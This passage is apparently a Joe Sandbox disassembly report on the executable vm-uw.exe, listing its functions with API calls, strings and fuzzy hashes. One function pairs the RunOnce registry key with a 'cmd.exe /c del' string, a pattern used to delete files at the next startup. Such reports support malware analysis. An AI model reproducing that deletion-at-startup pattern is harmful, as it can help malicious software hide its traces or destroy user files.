Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 1037ca5de5e45ef7ca3cfc378bdbb0fd8c6734ecc5388f3a0cc63b4724ef794c
Instruction ID: ee90af5b1038b6fc465981de58592c12833ee4bd3db7ed1aef0dcf57cc38c4a6
Opcode Fuzzy Hash: 1037ca5de5e45ef7ca3cfc378bdbb0fd8c6734ecc5388f3a0cc63b4724ef794c
Instruction Fuzzy Hash: 5B41F336A10220FBCB20DFB8D881A5DB3B6EF99310B154169E505EB241DB32AE25CB80

Function 001EA35D Relevance: 7.6, APIs: 5, Instructions: 107windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003EB), ref: 001EA39A
SetWindowTextW.USER32(00000000,002397B8), ref: 001EA3B2
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 001EA46D
TranslateMessage.USER32(?), ref: 001EA47B
DispatchMessageW.USER32(?), ref: 001EA485

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: Message$DispatchItemTextTranslateWindow
String ID:
API String ID: 2081180312-0
Opcode ID: 5da29113d38646127a6ed0d9abb891cfaf616f6ad3ffb1faa74ef730d1e8d976
Instruction ID: a6179b12c6094b689e1c517aae5a87e2b26a6abfc70eae3f717515f64e2d9edd
Opcode Fuzzy Hash: 5da29113d38646127a6ed0d9abb891cfaf616f6ad3ffb1faa74ef730d1e8d976
Instruction Fuzzy Hash: 6E31F870700A4AABCB09EB75D89DAEEFBA9FF59300F040119F51993191DF70A919CBA1

Function 001F5D40 Relevance: 7.6, APIs: 5, Instructions: 88synchronizationCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,1FE05385), ref: 001F5D91
LeaveCriticalSection.KERNEL32(?,1FE05385), ref: 001F5DB6
WaitForSingleObject.KERNEL32(?,00002710,1FE05385), ref: 001F5DCE
EnterCriticalSection.KERNEL32(00000000), ref: 001F5DFE
LeaveCriticalSection.KERNEL32(00000000), ref: 001F5E25

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ObjectSingleWait
String ID:
API String ID: 1755037574-0
Opcode ID: 0159bb81c086ae30180d8ecdca476fc1eb463926c94ee56c301a07e026de52f3
Instruction ID: 23d1f6be09632041d29241bf08b721c4ca058e52651bfdb84308cd6786042495
Opcode Fuzzy Hash: 0159bb81c086ae30180d8ecdca476fc1eb463926c94ee56c301a07e026de52f3
Instruction Fuzzy Hash: BA316F71A02A199BDB20CF94D988B7EFBB5FF04B10F144619EE55AB391D7349E00CBA0

Function 001E4F3E Relevance: 7.6, APIs: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001E5472: GetSystemMetrics.USER32(00000000), ref: 001E548F
Part of subcall function 001E5472: GetSystemMetrics.USER32(00000001), ref: 001E5495
Part of subcall function 001E5472: GetWindowRect.USER32(?,?), ref: 001E54A1
Part of subcall function 001E5472: SetWindowPos.USER32(?,000000FE,?,?,00000001,?,?,?,?,?,?,?,001E4F63,00000001), ref: 001E54E8

GetDlgItem.USER32(?,00000C42), ref: 001E4F6B
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 001E4F9B

Part of subcall function 001E1FBC: _wcslen.LIBCMT ref: 001E1FD5

SetWindowTextW.USER32(00000000,?), ref: 001E4FEA
GetDlgItem.USER32(?,00000C35), ref: 001E500A
SendMessageW.USER32(00000000,000000D2,00000000,00000000), ref: 001E501A

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: Window$ItemMetricsSystem$FileMessageModuleNameRectSendText_wcslen
String ID:
API String ID: 880410036-0
Opcode ID: cd381f3f44f39e168e900ff935eb8aa3033633a6f1b9e49b22e64ae31990daf8
Instruction ID: 1615e3124029fe8ab59e6e9a635d1ea9739a25524e3a894fd26c9e84e8a80487
Opcode Fuzzy Hash: cd381f3f44f39e168e900ff935eb8aa3033633a6f1b9e49b22e64ae31990daf8
Instruction Fuzzy Hash: C6215971218341ABD320EB60DC9EB9FB7E8EF58304F404929B989961A1EB70E544CB92

Function 002260D1 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 002260E9

Part of subcall function 00223185: RtlFreeHeap.NTDLL(00000000,00000000,?,00226168,?,00000000,?,00000000,?,0022618F,?,00000007,?,?,002265D1,?), ref: 0022319B
Part of subcall function 00223185: GetLastError.KERNEL32(?,?,00226168,?,00000000,?,00000000,?,0022618F,?,00000007,?,?,002265D1,?,?), ref: 002231AD

_free.LIBCMT ref: 002260FB
_free.LIBCMT ref: 0022610D
_free.LIBCMT ref: 0022611F
_free.LIBCMT ref: 00226131

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f71759b23a5c4b09046d14795ffb3c1bc94c535cf8ede21b991fc19356a644e6
Instruction ID: fdf1e26dd1e3191bca16a8f6f88f39961a5e9ce0d2d98795a255a308be26a86c
Opcode Fuzzy Hash: f71759b23a5c4b09046d14795ffb3c1bc94c535cf8ede21b991fc19356a644e6
Instruction Fuzzy Hash: A8F0627352022077CA20DFD4F8CEC16B7EAEA813107940809F00CD7602CB38FDB28A68

Function 001EE0F0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 324COMMON

Download Yara Rule

APIs

Part of subcall function 001F81F0: EnterCriticalSection.KERNEL32(00000000,1FE05385), ref: 001F8243
Part of subcall function 001F81F0: LeaveCriticalSection.KERNEL32(00000000,1FE05385), ref: 001F83AD

CreateDirectoryW.KERNEL32(?,00000000,?,?,1FE05385,00000000,?,00000000), ref: 001EE33A
CreateDirectoryW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,1FE05385), ref: 001EE378
GetLastError.KERNEL32(?,?,1FE05385,00000000,?,00000000), ref: 001EE3D0

Strings

%sD.%.03d.%.03d, xrefs: 001EE236

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: CreateCriticalDirectorySection$EnterErrorLastLeave
String ID: %sD.%.03d.%.03d
API String ID: 3373519864-1691038501
Opcode ID: 40220a2292b2410f22e55a04e687eb29cd41bd80481a8b0973f61ed08e4992be
Instruction ID: a6aa34468f1658304ac992e7f41ebaf0a5fe65880fc1ed36167e50da4f93d3c4
Opcode Fuzzy Hash: 40220a2292b2410f22e55a04e687eb29cd41bd80481a8b0973f61ed08e4992be
Instruction Fuzzy Hash: 54C1D170E11688DFDF14CFA8E989BADB7F5AF55304F208228E005EB291D735AA45CF51

Function 001E68D5 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 117COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 001E69B3

Strings

Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 001E69EE
delete, xrefs: 001E6949
cmd.exe /c del ", xrefs: 001E6999

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: _wcslen
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$cmd.exe /c del "$delete
API String ID: 176396367-2646081076
Opcode ID: 1e49cf11d3114919be2282831df4d64d0caecdbdd80bbd56be3c01707205b43c
Instruction ID: d599403aebe1f201b343154068121219d7a8f82ae659a4ef1bf490ad141da5b9
Opcode Fuzzy Hash: 1e49cf11d3114919be2282831df4d64d0caecdbdd80bbd56be3c01707205b43c
Instruction Fuzzy Hash: 4C417F71D006889BCB04FBA2DDA2EEEB379AF74340F504069E41667192EF706E0ACB51

Function 00221933 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\vm-uw.exe,00000104), ref: 0022196E
_free.LIBCMT ref: 00221A39
_free.LIBCMT ref: 00221A43

Strings

C:\Users\user\Desktop\vm-uw.exe, xrefs: 00221965, 0022196C, 0022199B, 002219D3

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\vm-uw.exe
API String ID: 2506810119-3953632779
Opcode ID: 65ee9895ec0e6789cd28a9c11c2e5ca152351c605ac73ad392665741ee4f070a
Instruction ID: bdbf81b9aa67a946d03ecdd0a043775936a21218feabe4e2ac1a9b0cfa78cfa5
Opcode Fuzzy Hash: 65ee9895ec0e6789cd28a9c11c2e5ca152351c605ac73ad392665741ee4f070a
Instruction Fuzzy Hash: 4D317071A11269FFDB21DFD9EC85DAFBBFCEB96310B104166E80497211D6708EA1CB50

Function 00223F5A Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00223F88
_free.LIBCMT ref: 00223FAE

Strings

@a$, xrefs: 00223FC7
a$, xrefs: 00224015

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: _free
String ID: @a$$a$
API String ID: 269201875-3789762709
Opcode ID: 54bd1e610bcfb6792f4eda4e29641ef246eaaf4c61ebb8899fe791c8abbc530e
Instruction ID: 9b7e1ff603933092d698aeadae148818434e8eead4ebe0f9da9e91ec9b086852
Opcode Fuzzy Hash: 54bd1e610bcfb6792f4eda4e29641ef246eaaf4c61ebb8899fe791c8abbc530e
Instruction Fuzzy Hash: 20113B31E202227BD725DFB8BD49F5332A4E711730F540225F625CB1E4E774C9E28A80

Function 00220864 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,00000000,?,00220934,00000000), ref: 0022087A
FreeLibrary.KERNEL32(00000000,00000000,?,00220934,00000000), ref: 00220889
_free.LIBCMT ref: 00220890

Strings

4", xrefs: 0022086A, 0022088F

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: CloseFreeHandleLibrary_free
String ID: 4"
API String ID: 621396759-3632361203
Opcode ID: 5ef2b0d2dc5b978d5d6e91e9cf04b68ba6a975b71ea9ed9f826362f6ab74a606
Instruction ID: afddb79d83043f0e5416f205a387b65bd005320637e6fb7cfeac043e5416e46c
Opcode Fuzzy Hash: 5ef2b0d2dc5b978d5d6e91e9cf04b68ba6a975b71ea9ed9f826362f6ab74a606
Instruction Fuzzy Hash: 54E08632411625BBC7356F85F88CB57B7A9EF40321F448129E45911461C735ACA1CFD9

Function 0020408C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetLargePageMinimum,00204073,?,00213E22,?,00213DBC,?,002028D0), ref: 002040A1
GetProcAddress.KERNEL32(00000000), ref: 002040A8

Strings

kernel32.dll, xrefs: 00204094
GetLargePageMinimum, xrefs: 0020408C

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetLargePageMinimum$kernel32.dll
API String ID: 1646373207-2515562745
Opcode ID: aa136c826940dfd415b9fd2444b767efcccda36613e1fcb1c94ce3339503b306
Instruction ID: b908d09eb287733aac0776620203ed1bad0793cbb365f6af1e8a4c31ee3c98df
Opcode Fuzzy Hash: aa136c826940dfd415b9fd2444b767efcccda36613e1fcb1c94ce3339503b306
Instruction Fuzzy Hash: 18E04FB4B617068AC748FF35BC5D72E31657F5AF01B905214E204E2090EB20E518C620

Function 002235A9 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00223634
__alldvrm.LIBCMT ref: 00223835
__alldvrm.LIBCMT ref: 00223857

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: d5d8c2f5b98ed250904a6ea1cf052e06909f25cf330743b3d15b29539ca88f18
Instruction ID: 2eb15cdc15ac0400c3b887549e4b50a1e7acd6a24dec2b9136afa817d8c3d21f
Opcode Fuzzy Hash: d5d8c2f5b98ed250904a6ea1cf052e06909f25cf330743b3d15b29539ca88f18
Instruction Fuzzy Hash: A4A158729203A6BFEB11CF98E8817BEBBE5EF15310F14416DE5459B341C27C8A61CB91

Function 001F8860 Relevance: 6.3, APIs: 4, Instructions: 251stringCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00000104,?,?,?,?,00000000,?,?,?,?,001E2807,0022F168,000000FF), ref: 001F8900
GetFullPathNameW.KERNEL32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,001E2807,0022F168,000000FF), ref: 001F896B
_wcslen.LIBCMT ref: 001F89A3
lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,?,001E2807,0022F168,000000FF), ref: 001F8AE4

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: FullNamePath$_wcslenlstrlen
String ID:
API String ID: 2239826801-0
Opcode ID: a6c0a1304bb349bfc04656d103618419b01b05ac221e763104cf7ae65f6e0da6
Instruction ID: a21147eb1d5085a7dab70e50a6e7b191cb42fa5d54e125a2d3c71a1d2b9c9721
Opcode Fuzzy Hash: a6c0a1304bb349bfc04656d103618419b01b05ac221e763104cf7ae65f6e0da6
Instruction Fuzzy Hash: 5891C2B1910209DFCB18DF64C895AFE77B5FF89310F20462AE516DB290EB30DA51CB61

Function 001ED980 Relevance: 6.2, APIs: 4, Instructions: 165filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,1FE05385), ref: 001EDA2F
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,40000000,00000003,00000000,00000003,02000000,00000000,1FE05385), ref: 001EDA91
SetFileTime.KERNEL32(00000000,?,?,?,?,40000000,00000003,00000000,00000003,02000000,00000000,1FE05385), ref: 001EDB11
CloseHandle.KERNEL32(00000000,?,40000000,00000003,00000000,00000003,02000000,00000000,1FE05385), ref: 001EDB1D

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 742c806cfff397e81a5b0db2e077b15a594ee7b63294a0a07d82ebcc4f265512
Instruction ID: 8a2c269348e87581e2f4975a743f2e0ef94ab13020e70fb5b98437aca7438625
Opcode Fuzzy Hash: 742c806cfff397e81a5b0db2e077b15a594ee7b63294a0a07d82ebcc4f265512
Instruction Fuzzy Hash: 3F51E570A00289AFEF24CF69EC95BEEBBB5AF45714F14422DE811E72C0E7359A45CB50

Function 0022629F Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,D0E85006,0021F879,00000000,00000000,002200A7,?,002200A7,?,00000001,0021F879,D0E85006,00000001,002200A7,002200A7), ref: 002262EC
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00226375
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00226387
__freea.LIBCMT ref: 00226390

Part of subcall function 002231BF: RtlAllocateHeap.NTDLL(00000000,?,?,?,0021B1C1,?,?,001E1D09,00000018,1FE05385,?,0022E43A,000000FF), ref: 002231F1

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 9992d1c9f4a66d050d05c81712e544d83b70c9947c3603cf3157ff5768d48d33
Instruction ID: 56b32b92b62fc89345aa09d999d8fedacbf7f014352e0f43b2246e106ade824a
Opcode Fuzzy Hash: 9992d1c9f4a66d050d05c81712e544d83b70c9947c3603cf3157ff5768d48d33
Instruction Fuzzy Hash: C731C072A2022AABDF25DFA4EC49DEE7BA5EB41710F144169FC04D7250E735CD60CBA0

Function 001E5472 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 001E548F
GetSystemMetrics.USER32(00000001), ref: 001E5495
GetWindowRect.USER32(?,?), ref: 001E54A1
SetWindowPos.USER32(?,000000FE,?,?,00000001,?,?,?,?,?,?,?,001E4F63,00000001), ref: 001E54E8

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
